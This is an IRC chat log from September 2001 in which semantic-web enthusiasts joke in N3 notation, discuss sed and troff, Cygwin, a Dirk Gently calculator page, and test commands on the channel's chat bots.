AaronSw has changed the topic to: [ not a :Joke ; rdf:value [ a :Joke ] ].
21:18:34 [sbp]
sbp has changed the topic to: { [ a :Joke; rdf:value [ a :Joke ] ] } a log:Falsehood .
21:18:45 [sbp]
no, that's not right...
21:19:06 [AaronSw]
Bzzt.
21:19:10 [AaronSw]
Try again.
21:19:32 [sbp]
well, what's rdf:value, for a start?
21:19:33 [AaronSw]
Here's a hint: { _:a a :Joke} a log:Falsehood .
21:19:44 [AaronSw]
rdf:value? nooobody knows.
21:19:59 [sbp]
sbp has changed the topic to: rdf:value a :Joke .
21:20:01 [sbp]
there
21:20:31 [AaronSw]
heh!
21:20:50 [sbp]
* sbp wonders how [ a :Joke ] is any different from _:a a :Joke . ?
21:21:13 [AaronSw]
It's not, but it allows you to say what you couldn't say above.
21:21:26 [sbp]
yeah, I needed to put the node outside the context...
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{ _:a a :Joke } a log:Falsehood . _:a a :Joke .
21:21:59 [AaronSw]
Huh?
21:22:03 [sbp]
oops
21:22:13 [sbp]
{ _:a a :Joke } a log:Falsehood . _:a rdf:value [ a :Joke ] .
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there'ya go.
21:23:19 [AaronSw]
We really need [] syntax in mathematical proofs.
21:23:19 [sbp]
{ { { _:a a :Joke } a log:Falsehood . _:a a :Joke . } a log:Truth } a log:Contradiction, :Puzzlement .
21:23:35 [sbp]
just add it; no one will notice
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all of the top people will just pretend to know what it means (or miztake it for a matrix, more likely)
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s/miztake/mistake
21:24:22 [AaronSw]
Heh... I keep thinking: what happens if two mathematicians define names that clash?
21:24:29 [AaronSw]
They should give these things URIs. ;-)
21:24:39 [sbp]
no, it's simple: they have to duel
21:24:55 [sbp]
or rock scissors paper
21:25:00 [AaronSw]
Ahh.
21:25:12 [sbp]
they should have done DNS on that
21:25:35 [sbp]
we could have had DNS tournaments, and the winner gets to choose their domain first, then the next person...
21:25:35 [AaronSw]
Yeah, much better than WIPO.
21:25:41 [sbp]
yeah
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* sbp is glad this stuff is being logged
21:26:06 [AaronSw]
I have a friend who is an amazing Rock Paper Scissors player. He can beat almost anyone.
21:26:17 [sbp]
who can't he beat?
21:26:27 [AaronSw]
I forget.
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[ :beat [ a :AmazingRockPaperScissorsPlayer; :friendOf [ :name "Aaron Swartz" ] ] ] .
21:27:24 [AaronSw]
yep
21:27:30 [sbp]
good ol' N3
21:29:28 [tav]
hmz, how can you be an amazing player?
21:30:00 [AaronSw]
It's all in the psychology of the game.
21:30:04 [AaronSw]
He mentally forces people into making the moves he wants.
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It's really fascinating to watch.
21:30:27 [sbp]
"play rock, or I'll beat the shit out of you"?
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sed?
21:32:58 [AaronSw]
Heh, no.
21:33:01 [AaronSw]
It's nonverbal.
21:33:04 [AaronSw]
Cool!
21:33:06 [AaronSw]
<tav> @tvnext bbc2
21:33:06 [AaronSw]
<maya> Coming up next on BBC 2:
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<maya> [21:50] Body Briefs
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<maya> [22:00] Not the Nine O'Clock News
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<maya> [22:30] Newsnight
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[GlobalNotice] We hope services will be back up in about 10 minutes. Apologies for the inconvenience.
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<maya> [23:00] Newsnight Review
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<maya> [23:35] Tennis - Davis Cup 2001
21:33:15 [tav]
hmz?
21:33:17 [AaronSw]
You guys have great TV shows there...
21:33:20 [tav]
heh
21:34:00 [sbp]
Ah crap, I missed Not the Nine O'Clock News
21:34:14 [AaronSw]
That's really what it's called?
21:34:24 [sbp]
Yeah, it's a good show
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With Rowan Atkinson, Gryf Rhys-Jones, and so on. A seminal comedy show
21:35:08 [AaronSw]
I think they had one in Canada like that. They made fun of Quebecians.
21:41:30 [lilo]
[GlobalNotice] Services will be back up in a moment, accompanied by the usual splits. Thanks.
21:43:11 [sbp]
does sed have troff commands?
21:43:32 [deltab]
uh, what?
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* sbp takes that as a no
21:44:26 [deltab]
I don't even understand what you're asking
21:45:03 [tav]
deltab?
21:45:18 [deltab]
sed edits a stream; troff formats pages
21:45:29 [sbp]
is there a combined version?
21:45:37 [deltab]
to do what?
21:45:43 [tav]
ehm, did i miss something?
21:46:27 [tav]
<AaronSw> I think they had one in Canada like that. They made fun of Quebecians.
21:46:28 [tav]
* sbp takes that as a no
21:46:28 [tav]
<deltab> I don't even understand what you're asking
21:47:02 [AaronSw]
yes, apparently so:
21:47:04 [deltab]
tav: sbp's question about sed and troff
21:47:07 [AaronSw]
<sbp> does sed have troff commands?
21:47:07 [AaronSw]
<deltab> uh, what?
21:47:28 [tav]
hmz
21:47:55 [tav]
that makes no sense, deltab is on the same server as i am
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so it can't be a damn server split
21:48:09 [deltab]
sbp: um, are you asking if you can use sed to convert something into troff input?
21:48:09 [sbp]
blimey, I just want to know if there is a version of sed somewhere on the Internet that I can download, and that can format a troff document
21:49:03 [sbp]
I'm asking if there is a variant of sed that will convert troffed input into something more sensible. Why should I have to use sed and troff? just have sedtroff or something :-)
21:49:14 [deltab]
uhuh
21:49:25 [sbp]
so, is there?
21:49:36 [deltab]
if there is, it's called emacs
21:49:39 [sbp]
* sbp should know better than to ask these sorts of questions
21:49:43 [sbp]
Pffffff, emacs
21:49:48 [deltab]
:-)
21:50:19 [sbp]
I want to be able to run it by command line, and I don't want to have to spend 7 years downloading something that's not all that much better than ViM
21:50:48 [deltab]
um, do you know what troff is?
21:51:34 [sbp]
it's a typesetting format, no?
21:51:52 [deltab]
it's a program that formats and typesets
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which has its own input format
21:52:31 [sbp]
O.K., so if you have a file with troff commands in it... then you run it through troff, and it formats it for you. Yes?
21:52:37 [AaronSw]
yes.
21:52:41 [deltab]
yes...
21:53:03 [sbp]
right, so is there a sodding version of sed that does those troff commands too. It's not a difficult concept or anything
21:53:30 [AaronSw]
err, it doesn't really make sense
21:53:43 [sbp]
* sbp gives in
21:53:47 [AaronSw]
why not just use troff?
21:54:12 [deltab]
sbp: you could reimplement some of troff in a mammoth sed script
21:55:05 [sbp]
yeah (man, that would be a job...), but why not have it built into a hybrid version of sed? Well, I think it's a good idea...
21:56:36 [deltab]
sbp: the idea reminds me of the I-Ching calculator in a Dirk Gently book
21:57:41 [sbp]
pardon?
21:57:55 [sbp]
I'll bet that's in "Long Dark Teatime..."
21:58:24 [deltab]
yeah, I suspect so
21:58:33 [sbp]
muchly? is that a word?
21:58:52 [sbp]
"Thanks muchly for the help."
21:59:51 [deltab]
sounds okay to me
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yep, chapter 10
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Aw... I don't have that one (yet) :-)
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* sbp should have sprinkled smileys liberally in his sed/troff rant
22:02:45 [deltab]
http://www.thateden.co.uk/dirk/
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He he he
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[[[
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'"1 + 1" it could manage ("2"), and "1 + 2" ("3") and "2 + 2" ("4") or "tan 74" ("3.4874145"), but anything above "4" it represented merely as "A Suffusion of Yellow". Dirk was not certain if this was a programming error or an insight beyond his ability to fathom, but he was crazy about it anyway, enough to hand over £20 of ready cash for the thing.'
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]]]
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cool JavaScript implementation of the calculator too!
22:06:52 [AaronSw]
I don't get no Yelllow. I just get blank screens.
22:07:13 [sbp]
Hmm...
22:07:55 [AaronSw]
Hmm, the image is there: http://www.thateden.co.uk/dirk/images/yellow.gif
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It works fine for me
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i don't see it
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try 10/2
22:09:03 [AaronSw]
no luck
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try 2+1
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3
22:09:31 [sbp]
Hmm...
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Does yellow.gif work?
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Maybe it figures that Mac users are already enlightened
22:10:18 [deltab]
heh, a Discworld reference too
22:10:27 [AaronSw]
yellow.gif works
22:14:09 [sbp]
* sbp goes to download Cygwin, but wonders how long that's gonna take...
22:16:38 [sbp]
depends how many packages I install, I guess
22:18:07 [sbp]
echo
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.echo
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..echo
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...echo
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....echo
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.....echo
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bash? Did I select that?
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What is it?
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UNIX people? anybody? hello?
22:20:00 [deltab]
bash is the Bourne Again Shell
22:20:09 [AaronSw]
bash is the cool shell. ;-)
22:20:19 [sbp]
does it do anything good?
22:20:33 [deltab]
allows you to enter commands
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:-)
22:20:46 [sbp]
ah... I guess I do need it then :-)
22:20:50 [deltab]
runs shell scripts
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well at this rate, it won't take forever, but something close
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it'd be great if it told you which packages were required for it to at least run
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cool TimBL trick:-
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{ <check.n3> log:resolvesTo :F } log:implies { :F a log:Truth }. # import rules
22:49:55 [AaronSw]
cool
22:50:47 [sbp]
from http://www.w3.org/2000/10/swap/test/includes/check-all.n3
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(through CVS)
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http://dev.w3.org/cvsweb/2000/10/swap/test/includes/check-all.n3?rev=1.1&content-type=text/x-cvsweb-markup
22:51:21 [tav]
hmz
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Hey, xena
22:51:44 [AaronSw]
yay! xena's back
22:51:51 [xena]
hey sbp
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does it do T.V. schedules now?
22:51:57 [sbp]
he he he
22:52:07 [xena]
nah, don't do tv yet
22:52:12 [sbp]
Aw
22:52:38 [sbp]
what was the thing that tav used for that then, xena?
22:52:47 [tav]
no, maya
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heh
22:53:03 [xena]
That was an eggdrop bot.
22:53:30 [tav]
in the beginning we had an eggdrop, one of our guys runs eggdrop.net
22:53:40 [AaronSw]
.pig latin hi there
22:53:40 [xena]
i-hay ere-thay
22:53:44 [tav]
then, deltab introduced fimo, an infobot
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fimo soon became xena, a slightly modified infobot
22:54:15 [AaronSw]
and where did hiroko come in?
22:54:21 [tav]
then we decided to create a superbot
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hiroko was a zope based bot
22:54:39 [AaronSw]
And new xena?
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she was too volatile though
22:54:49 [AaronSw]
volatile?
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she didn't play well with zope
22:55:44 [AaronSw]
hmmph
22:56:08 [tav]
so, we created xena (Creature)
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a mixture of the infobot / eggdrop / zopebot
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the superbot
22:57:02 [AaronSw]
Cool.
22:57:22 [sbp]
xena, super-bot-deeley-of-the-IRC-lands
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:-)
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Hi Morbus
22:58:24 [AaronSw]
Hi morbus
22:58:33 [Morbus]
hey guys
22:59:21 [tav]
.when did AaronSw last login to the xnet?
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aaronsw last logged in on 2001/09/13 17:03:35.3509 Universal
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.time
22:59:33 [xena]
2001/09/21 23:01:04.52094 Universal
22:59:48 [AaronSw]
Hmm, i've been logged in for a while.
22:59:51 [sbp]
does it do unix time?
22:59:55 [tav]
.unixtime
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1001113309.35
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.bilennium
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.billennium
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neat
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[ 1001113320.33 ] : HAPPY BILLENNIUM!
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:-)
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.when did aaronsw last log in to the xnet?
23:03:25 [xena]
aaronsw last logged in on 2001/09/21 23:04:43.2381 Universal
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.time
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2001/09/21 23:05:00.890719 Universal
23:03:42 [tav]
btw
23:03:45 [tav]
.when did AaronSw
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aaronsw last logged in on 2001/09/21 23:04:43.2381 Universal
23:03:47 [tav]
works too ;p
23:03:47 [AaronSw]
.when did tav last have sex?
23:03:48 [xena]
tav last logged in on 2001/09/18 20:52:48.7271 Universal
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23:03:57 [tav]
heh
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SeanP is now known as sbp
23:05:14 [Morbus]
aaron, you on os x right now?
23:05:18 [Morbus]
this is so weird.
23:05:20 [AaronSw]
yes
23:05:29 [Morbus]
when i have websharing ON, i can get to the yahoo.com page, right
23:05:38 [AaronSw]
ok
23:05:38 [Morbus]
but when i try to go to mail.yahoo.com, i get my localhost directory
23:05:46 [Morbus]
that's in icab. in IE, i crash immediately
23:05:53 [AaronSw]
weird
23:06:05 [Morbus]
yeah!
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23:06:25 [sbp]
heh: 2001/09/18 20:52:48.7271
23:06:36 [AaronSw]
why heh?
23:06:57 [sbp]
that's when tav last "logged on"
23:09:47 [AaronSw]
:-)
23:10:00 [AaronSw]
Apparently espHarem isn't fully operational yet.
23:10:09 [sbp]
:-)
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23:25:35 [tav]
.seen sbp
23:25:35 [xena]
sbp seen in #rdfig saying: [ hi ] ~ 2 min(s) 36 sec(s) ago
23:27:39 [sbp]
ah, smart
23:27:46 [sbp]
.seen freakster
23:27:46 [xena]
sbp: no match found: freakster
23:28:06 [sbp]
.seen gooble
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sbp: no match found: gooble
23:28:18 [sbp]
.seen beeble
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sbp: no match found: beeble
23:28:25 [AaronSw]
.seen egreg
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AaronSw: no match found: egreg
23:28:34 [AaronSw]
.seen tav
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tav seen in #swhack saying: [ .seen sbp ] ~ 2 min(s) 58 sec(s) ago
23:28:36 [sbp]
Aw...
23:28:39 [sbp]
lol
23:28:41 [sbp]
.seen xena
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xena seen joining #infoanarchy ~ 36 min(s) 59 sec(s) ago
23:29:50 [AaronSw]
Ok, looks like it's time for me to go. Have a nice weekend everyone.
23:31:56 [tav]
laters
23:32:24 [tav]
enjoy the holiday
23:32:30 [sbp]
c'ya!
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